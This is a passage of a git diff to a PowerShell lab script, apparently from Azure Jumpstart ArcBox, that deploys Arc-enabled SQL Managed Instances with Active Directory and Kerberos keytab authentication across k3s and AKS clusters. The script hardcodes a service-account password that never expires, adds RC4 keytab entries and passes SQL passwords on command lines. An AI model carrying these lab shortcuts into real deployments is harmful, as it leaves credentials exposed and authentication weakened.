b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 index 74dce0edaf..e4c4b8cc57 100644 --- a/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 +++ b/azure_jumpstart_arcbox/artifacts/DeploySQLMIADAuth.ps1 @@ -2,6 +2,9 @@ $Env:TempDir = "C:\Temp" $Env:ArcBoxDir = "C:\ArcBox" $Env:ArcBoxLogsDir = "C:\ArcBox\Logs" +$k3sArcDataClusterName = ($Env:k3sArcDataClusterName).toLower() +$aksArcClusterName = ($Env:aksArcClusterName).toLower() +$aksdrArcClusterName = ($Env:aksdrArcClusterName).toLower() Start-Transcript -Path "$Env:ArcBoxLogsDir\DeploySQLMIADAuth.log" @@ -13,6 +16,9 @@ Import-Module DnsServer # Get Activectory Information $dcInfo = Get-ADDomainController +# Retrieve Azure Key Vault secrets and store as runtime environment variables +$AZDATA_PASSWORD = Get-Secret -Name 'AZDATAPASSWORD' -AsPlainText + # Setup reverse DNS for AD authentication $dcIPv4 = ([System.Net.IPAddress]$dcInfo.IPv4Address).GetAddressBytes() $reverseLookupCidr = [System.String]::Concat($dcIPv4[0], '.', $dcIPv4[1], '.', $dcIPv4[2], '.0/24') @@ -55,11 +61,11 @@ else { $sqlInstances = @( - [pscustomobject]@{instanceName = 'capi-sql'; dataController = "$Env:capiArcDataClusterName-dc"; customLocation = "$Env:capiArcDataClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'capi' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-capi" } + [pscustomobject]@{instanceName = 'k3s-sql'; dataController = "$k3sArcDataClusterName-dc"; customLocation = "$k3sArcDataClusterName-cl" ; storageClassName = 'longhorn' ; licenseType = 'LicenseIncluded' ; context = 'k3s' ; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-k3s-data" } - [pscustomobject]@{instanceName = 'aks-sql'; dataController = "$Env:aksArcClusterName-dc" ; customLocation = "$Env:aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } + [pscustomobject]@{instanceName = 'aks-sql'; dataController = "$aksArcClusterName-dc" ; customLocation = "$aksArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'LicenseIncluded' ; context = 'aks'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aks" } - [pscustomobject]@{instanceName = 'aks-dr-sql'; dataController = "$Env:aksdrArcClusterName-dc" ; customLocation = "$Env:aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } + [pscustomobject]@{instanceName = 'aks-dr-sql'; dataController = "$aksdrArcClusterName-dc" ; customLocation = "$aksdrArcClusterName-cl" ; storageClassName = 'managed-premium' ; licenseType = 'DisasterRecovery' ; context = 'aks-dr'; kubeConfig = "C:\Users\$Env:adminUsername\.kube\config-aksdr" } ) $sqlmiouName = "ArcSQLMI" @@ -92,218 +98,211 @@ $filename = "SQLMIEndpoints.txt" $file = New-Item -Path $Env:ArcBoxDir -Name $filename -ItemType "file" $Endpoints = $file.FullName -foreach ($sqlInstance in $sqlInstances) { - - Start-Job -Name arcbox -ScriptBlock { - $ErrorActionPreference = 'SilentlyContinue' - $WarningPreference = 'SilentlyContinue' - $dcInfo = $using:dcInfo - $Endpoints = $using:Endpoints - $sqlmiOUDN = $using:sqlmiOUDN - $sqlInstances = $using:sqlInstances - $sqlmi_port = $using:sqlmi_port - $sqlInstance = $using:sqlInstance - $context = $sqlInstance.context - - Start-Transcript -Path "$Env:ArcBoxLogsDir\SQLMI-$context.log" - - $sqlInstance = $using:sqlInstance - $sqlMIName = $sqlInstance.instanceName - $sqlmi_fqdn_name = $sqlMIName + "." + $dcInfo.domain - $sqlmi_secondary_fqdn_name = $sqlMIName + "-secondary." + $dcInfo.domain - - # Create dedicated service account for AD connector - $arcsaname = "sa-$sqlMIName" - $arcsapass = "ArcDSA#Pwd123$" - $arcsasecpass = $arcsapass | ConvertTo-SecureString -AsPlainText -Force - $sqlmisaupn = $arcsaname + "@" + $dcInfo.domain - - $samaccountname = $arcsaname - $domain_netbios_name = $dcInfo.domain.split('.')[0].ToUpper(); - $domain_name = $dcInfo.domain.ToUpper() - - try { - New-ADUser -Name $arcsaname ` - -UserPrincipalName $sqlmisaupn ` - -Path $sqlmiOUDN ` - -AccountPassword $arcsasecpass ` - -Enabled $true ` - -ChangePasswordAtLogon $false ` - -PasswordNeverExpires $true - } - catch { - # User already exists - Write-Host "User $arcsaname already existings in the directory." - } - - Start-Sleep -Seconds 10 - # Geneate key tab - try { - setspn -A MSSQLSvc/${sqlmi_fqdn_name} ${domain_netbios_name}\${samaccountname} - setspn -A MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} - - # Secondary instance spn - setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name} ${domain_netbios_name}\${samaccountname} - setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} - - $keytab_file = "$Env:ArcBoxDir\$sqlMIName.keytab" - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - - # Generate Keytab for secondary - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - - ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass - # Convert key tab file into base64 data - $keytabrawdata = Get-Content $keytab_file -Encoding byte - $b64keytabtext = [System.Convert]::ToBase64String($keytabrawdata) - # Grant permission to DSA account on SQLMI OU - } - catch{ - - } - - Start-Sleep -Seconds 10 +$sqlInstances | Foreach-Object -ThrottleLimit 5 -Parallel { + $ErrorActionPreference = 'SilentlyContinue' + $WarningPreference = 'SilentlyContinue' + $sqlInstance = $_ + $dcInfo = $using:dcInfo + $Endpoints = $using:Endpoints + $sqlmiOUDN = $using:sqlmiOUDN + $sqlmi_port = $using:sqlmi_port + $context = $sqlInstance.context + $AZDATA_PASSWORD = $using:AZDATA_PASSWORD - Copy-Item "$Env:ArcBoxDir\adConnector.parameters.json" -Destination "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - $adConnectorParams = "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - $adConnectorName = $sqlInstance.dataController + "/adarc" - $serviceAccountProvisioning = "manual" - (Get-Content -Path $adConnectorParams) -replace 'connectorName-stage', $adConnectorName | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'domainController-stage', $dcInfo.HostName | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'netbiosDomainName-stage', $domain_netbios_name | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'realm-stage', $dcInfo.domain.ToUpper() | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams - (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams + Start-Transcript -Path "$Env:ArcBoxLogsDir\SQLMI-$context.log" - az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" - Write-Host "`n" - Do { - Write-Host "Waiting for AD connector deployment. Hold tight, this might take a few minutes...(30s sleeping loop)" - Start-Sleep -Seconds 30 - $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($adcStatus -eq "Nope") + $sqlMIName = $sqlInstance.instanceName + $sqlmi_fqdn_name = $sqlMIName + "." + $dcInfo.domain + $sqlmi_secondary_fqdn_name = $sqlMIName + "-secondary." + $dcInfo.domain - Write-Host "`n" - Write-Host "Azure Arc AD connector ready!" - Write-Host "`n" + # Create dedicated service account for AD connector + $arcsaname = "sa-$sqlMIName" + $arcsapass = "ArcDSA#Pwd123$" + $arcsasecpass = $arcsapass | ConvertTo-SecureString -AsPlainText -Force + $sqlmisaupn = $arcsaname + "@" + $dcInfo.domain - Remove-Item "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" -Force - - # Deploying Azure Arc SQL Managed Instance - - Write-Host "Deploying Azure Arc SQL Managed Instance" - $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) - $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) - - ################################################ - # Localize ARM template - ################################################ - $ServiceType = "LoadBalancer" - $readableSecondaries = $ServiceType - - # Resource Requests - $vCoresRequest = "2" - $memoryRequest = "4Gi" - $vCoresLimit = "4" - $memoryLimit = "8Gi" - - # Storage - $StorageClassName = $sqlInstance.storageClassName - $dataStorageSize = "30Gi" - $logsStorageSize = "30Gi" - $dataLogsStorageSize = "30Gi" - - # High Availability - $replicas = 3 # Deploy SQL MI "Business Critical" tier - ####################################################### - - - - Copy-Item "$Env:ArcBoxDir\sqlmiAD.parameters.json" -Destination "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - $SQLParams = "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - -(Get-Content -Path $SQLParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataControllerId-stage', $dataControllerId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'azdataUsername-stage', $env:AZDATA_USERNAME | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'azdataPassword-stage', $env:AZDATA_PASSWORD | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'serviceType-stage', $ServiceType | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'readableSecondaries-stage', $readableSecondaries | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'vCoresRequest-stage', $vCoresRequest | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'memoryRequest-stage', $memoryRequest | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'vCoresLimit-stage', $vCoresLimit | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'memoryLimit-stage', $memoryLimit | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'logsStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataLogStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataSize-stage', $dataStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'logsSize-stage', $logsStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dataLogSize-stage', $dataLogsStorageSize | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'replicasStage' , $replicas | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'sqlInstanceName-stage' , $sqlInstance.instanceName | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'keyTab-stage' , $b64keytabtext | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'adAccountName-stage' , $arcsaname | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'adConnectorName-stage' , "adarc" | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dnsName-stage' , $sqlmi_fqdn_name | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'dnsNameSecondary-stage' , $sqlmi_secondary_fqdn_name | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'port-stage' , $sqlmi_port | Set-Content -Path $SQLParams -(Get-Content -Path $SQLParams) -replace 'licenseType-stage' , $sqlInstance.licenseType | Set-Content -Path $SQLParams - - az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\sqlmiAD.json" --parameters "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" - Write-Host "`n" - - Do { - Write-Host "Waiting for SQL Managed Instance. Hold tight, this might take a few minutes...(45s sleeping loop)" - Start-Sleep -Seconds 45 - $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) - } while ($dcStatus -eq "Nope") - Write-Host "Azure Arc SQL Managed Instance is ready!" - Write-Host "`n" + $samaccountname = $arcsaname + $domain_netbios_name = $dcInfo.domain.split('.')[0].ToUpper(); + $domain_name = $dcInfo.domain.ToUpper() - Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force + try { + New-ADUser -Name $arcsaname ` + -UserPrincipalName $sqlmisaupn ` + -Path $sqlmiOUDN ` + -AccountPassword $arcsasecpass ` + -Enabled $true ` + -ChangePasswordAtLogon $false ` + -PasswordNeverExpires $true + } + catch { + # User already exists + Write-Host "User $arcsaname already existings in the directory." + } - # Create windows account in SQLMI to support AD authentication and grant sysadmin role - $podname = "${sqlMIName}-0" - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" - Write-Host "Created Windows user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + Start-Sleep -Seconds 10 + # Geneate key tab + try { + setspn -A MSSQLSvc/${sqlmi_fqdn_name} ${domain_netbios_name}\${samaccountname} + setspn -A MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} + + # Secondary instance spn + setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name} ${domain_netbios_name}\${samaccountname} + setspn -A MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port} ${domain_netbios_name}\${samaccountname} + + $keytab_file = "$Env:ArcBoxDir\$sqlMIName.keytab" + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + + # Generate Keytab for secondary + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ MSSQLSvc/${sqlmi_secondary_fqdn_name}:${sqlmi_port}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + + ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto aes256-sha1 /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + ktpass /princ ${samaccountname}@${domain_name} /ptype KRB5_NT_PRINCIPAL /crypto rc4-hmac-nt /mapuser ${domain_netbios_name}\${samaccountname} /in $keytab_file /out $keytab_file -setpass -setupn /pass $arcsapass + + # Convert key tab file into base64 data + $keytabrawdata = Get-Content $keytab_file -AsByteStream + $b64keytabtext = [System.Convert]::ToBase64String($keytabrawdata) + # Grant permission to DSA account on SQLMI OU + } + catch{ - kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P "$env:AZDATA_PASSWORD" -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" - Write-Host "Granted sysadmin role to user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + } - # Downloading demo database and restoring onto SQL MI - if ($sqlMIName -eq "capi-sql") { - Write-Host "`n" - Write-Host "Downloading AdventureWorks database for MS SQL... (1/2)" - kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- wget https://github.com/Microsoft/sql-server-samples/releases/download/adventureworks/AdventureWorks2019.bak -O /var/opt/mssql/data/AdventureWorks2019.bak 2>&1 | Out-Null - Write-Host "Restoring AdventureWorks database for MS SQL. (2/2)" - kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $Env:AZDATA_USERNAME -P "$Env:AZDATA_PASSWORD" -Q "RESTORE DATABASE AdventureWorks2019 FROM DISK = N'/var/opt/mssql/data/AdventureWorks2019.bak' WITH MOVE 'AdventureWorks2019' TO '/var/opt/mssql/data/AdventureWorks2019.mdf', MOVE 'AdventureWorks2019_Log' TO '/var/opt/mssql/data/AdventureWorks2019_Log.ldf'" 2>&1 $null - Write-Host "Restoring AdventureWorks database completed." - } - Stop-Transcript + Start-Sleep -Seconds 10 + + Copy-Item "$Env:ArcBoxDir\adConnector.parameters.json" -Destination "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + $adConnectorParams = "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + $adConnectorName = $sqlInstance.dataController + "/adarc" + $serviceAccountProvisioning = "manual" + (Get-Content -Path $adConnectorParams) -replace 'connectorName-stage', $adConnectorName | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'domainController-stage', $dcInfo.HostName | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'netbiosDomainName-stage', $domain_netbios_name | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'realm-stage', $dcInfo.domain.ToUpper() | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'serviceAccountProvisioning-stage', $serviceAccountProvisioning | Set-Content -Path $adConnectorParams + (Get-Content -Path $adConnectorParams) -replace 'domainName-stage', $dcInfo.domain.Tolower() | Set-Content -Path $adConnectorParams + + Write-Host "Deploying Azure Arc AD connector for $sqlMIName" + az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\adConnector.json" --parameters "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" + Write-Host "`n" + Do { + Write-Host "Waiting for AD connector deployment for $sqlMIName. Hold tight, this might take a few minutes...(30s sleeping loop)" + Start-Sleep -Seconds 30 + $adcStatus = $(if (kubectl get adc adarc -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($adcStatus -eq "Nope") + + Write-Host "`n" + Write-Host "Azure Arc AD connector ready!" + Write-Host "`n" + + Remove-Item "$Env:ArcBoxDir\adConnector-$context-stage.parameters.json" -Force + + # Deploying Azure Arc SQL Managed Instance + + Write-Host "Deploying the $sqlMIName Azure Arc SQL Managed Instance" + $dataControllerId = $(az resource show --resource-group $Env:resourceGroup --name $sqlInstance.dataController --resource-type "Microsoft.AzureArcData/dataControllers" --query id -o tsv) + $customLocationId = $(az customlocation show --name $sqlInstance.customLocation --resource-group $Env:resourceGroup --query id -o tsv) + + ################################################ + # Localize ARM template + ################################################ + $ServiceType = "LoadBalancer" + $readableSecondaries = $ServiceType + + # Resource Requests + $vCoresRequest = "2" + $memoryRequest = "4Gi" + $vCoresLimit = "4" + $memoryLimit = "8Gi" + + # Storage + $StorageClassName = $sqlInstance.storageClassName + $dataStorageSize = "30Gi" + $logsStorageSize = "30Gi" + $dataLogsStorageSize = "30Gi" + + # High Availability + $replicas = 3 # Deploy SQL MI "Business Critical" tier + ####################################################### + + + + Copy-Item "$Env:ArcBoxDir\sqlmiAD.parameters.json" -Destination "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + $SQLParams = "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + + (Get-Content -Path $SQLParams) -replace 'resourceGroup-stage', $Env:resourceGroup | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataControllerId-stage', $dataControllerId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'customLocation-stage', $customLocationId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'subscriptionId-stage', $Env:subscriptionId | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'azdataUsername-stage', $env:AZDATA_USERNAME | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'azdataPassword-stage', $using:AZDATA_PASSWORD | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'serviceType-stage', $ServiceType | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'readableSecondaries-stage', $readableSecondaries | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'vCoresRequest-stage', $vCoresRequest | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'memoryRequest-stage', $memoryRequest | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'vCoresLimit-stage', $vCoresLimit | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'memoryLimit-stage', $memoryLimit | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'logsStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataLogStorageClassName-stage', $StorageClassName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataSize-stage', $dataStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'logsSize-stage', $logsStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dataLogSize-stage', $dataLogsStorageSize | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'replicasStage' , $replicas | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'sqlInstanceName-stage' , $sqlInstance.instanceName | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'keyTab-stage' , $b64keytabtext | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'adAccountName-stage' , $arcsaname | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'adConnectorName-stage' , "adarc" | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dnsName-stage' , $sqlmi_fqdn_name | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'dnsNameSecondary-stage' , $sqlmi_secondary_fqdn_name | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'port-stage' , $sqlmi_port | Set-Content -Path $SQLParams + (Get-Content -Path $SQLParams) -replace 'licenseType-stage' , $sqlInstance.licenseType | Set-Content -Path $SQLParams + + az deployment group create --resource-group $Env:resourceGroup --name $sqlInstance.instanceName --template-file "$Env:ArcBoxDir\sqlmiAD.json" --parameters "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" + Write-Host "`n" + + Do { + Write-Host "Waiting for SQL Managed Instance. Hold tight, this might take a few minutes...(45s sleeping loop)" + Start-Sleep -Seconds 45 + $dcStatus = $(if (kubectl get sqlmanagedinstances -n arc --kubeconfig $sqlInstance.kubeConfig | Select-String "Ready" -Quiet) { "Ready!" }Else { "Nope" }) + } while ($dcStatus -eq "Nope") + Write-Host "$sqlMIName Azure Arc SQL Managed Instance is ready!" + Write-Host "`n" + + Remove-Item "$Env:ArcBoxDir\sqlmiAD-$context-stage.parameters.json" -Force + + # Create windows account in SQLMI to support AD authentication and grant sysadmin role + $podname = "${sqlMIName}-0" + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P $AZDATA_PASSWORD -Q "CREATE LOGIN [${domain_netbios_name}\$env:adminUsername] FROM WINDOWS" 2>&1 $null + Write-Host "Created Windows user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + + kubectl exec $podname -c arc-sqlmi -n arc --kubeconfig $sqlInstance.kubeConfig -- /opt/mssql-tools/bin/sqlcmd -S localhost -U $env:AZDATA_USERNAME -P $AZDATA_PASSWORD -Q "EXEC master..sp_addsrvrolemember @loginame = N'${domain_netbios_name}\$env:adminUsername', @rolename = N'sysadmin'" 2>&1 $null + Write-Host "Granted sysadmin role to user account ${domain_netbios_name}\$env:AZDATA_USERNAME in SQLMI instance." + + # Downloading demo database and restoring onto SQL MI + if ($sqlMIName -eq "k3s-sql") { + Write-Host "`n" + Write-Host "Downloading AdventureWorks database for MS SQL... (1/2)" + kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- wget https://github.com/Microsoft/sql-server-samples/releases/download/adventureworks/AdventureWorks2019.bak -O /var/opt/mssql/data/AdventureWorks2019.bak 2>&1 | Out-Null + Write-Host "Restoring AdventureWorks database for MS SQL. (2/2)" + kubectl exec $podname -n arc --kubeconfig $sqlInstance.kubeConfig -c arc-sqlmi -- /opt/mssql-tools/bin/sqlcmd 